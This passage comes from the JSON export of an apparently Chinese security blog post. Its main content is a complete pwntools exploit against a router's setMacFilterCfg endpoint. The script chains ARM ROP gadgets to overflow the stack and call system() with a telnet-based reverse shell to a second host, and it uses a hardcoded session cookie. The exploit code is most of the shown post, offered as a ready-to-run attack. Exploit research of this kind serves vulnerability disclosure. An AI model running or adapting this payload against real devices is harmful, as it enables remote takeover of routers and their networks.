src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1252\"  sizes=\"auto, (max-width: 896px) 100vw, 896px\" \/><\/div><\/figure>\n\n\n\n<p>\u5b8c\u6574exp\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\nimport requests\n\nurl = \"http:\/\/192.168.xxx.xxx\/goform\/setMacFilterCfg\"\nlibc_base=0xff58b000\nlibc=ELF(\"libc.so.0\")\nprint(hex(libc.sym&#91;'system']))\nprint(hex(libc.sym&#91;'puts']))\nsystem=libc_base+libc.sym&#91;\"system\"]\nbinsh=libc_base+0x626d2\nputs = libc_base+libc.sym&#91;'puts']\nmov_r0_sp_blx_pc = libc_base+0x00040cb8 # mov r0, sp; blx r3;\npop_r3_pc = libc_base+0x00018298 # pop {r3, pc}\n#payload = cyclic(176)+p32(pop_r3_pc)+p32(puts)+p32(mov_r0_sp_blx_pc)+b\"hacked by n0ps1ed\\x00\"\npayload = cyclic(176)+p32(pop_r3_pc)+p32(system)+p32(mov_r0_sp_blx_pc)+b\"telnet 192.168.xxx.xxx 6666 | \/bin\/sh | telnet 192.168.xxx.xxx 5555\\x00\"\ncookie = {\"Cookie\": \"password=rfl1qw\"}\ndata = {\"macFilterType\": \"black\", \"deviceList\": b\"\\r\" + payload}\nres = requests.post(url, cookies=cookie, data=data)\nres = requests.post(url, cookies=cookie, data=data)\nprint(res.text)<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>\u9996\u5148\u6211\u4eec\u62ff\u5230\u4e86\u4e00\u4e2a\u8def\u7531\u5668\u7684\u6808\u6ea2\u51faPOC\uff0c\u6f0f\u6d1e\u8be6\u60c5\u5c31\u4e0d\u5728\u8fd9\u8bf4\u4e86\uff0c\u653e\u5728\u4e86github\u4e0a\uff1amy github poc [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[13],"tags":[31,16,15],"class_list":["post-1240","post","type-post","status-publish","format-standard","hentry","category-13","tag-arm","tag-rop","tag-15"],"_links":{"self":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/1240","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/comments?post=1240"}],"version-history":[{"count":10,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/1240\/revisions"}],"predecessor-version":[{"id":1262,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/1240\/revisions\/1262"}],"wp:attachment":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/media?parent=1240"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/categories?post=1240"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/tags?post=1240"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}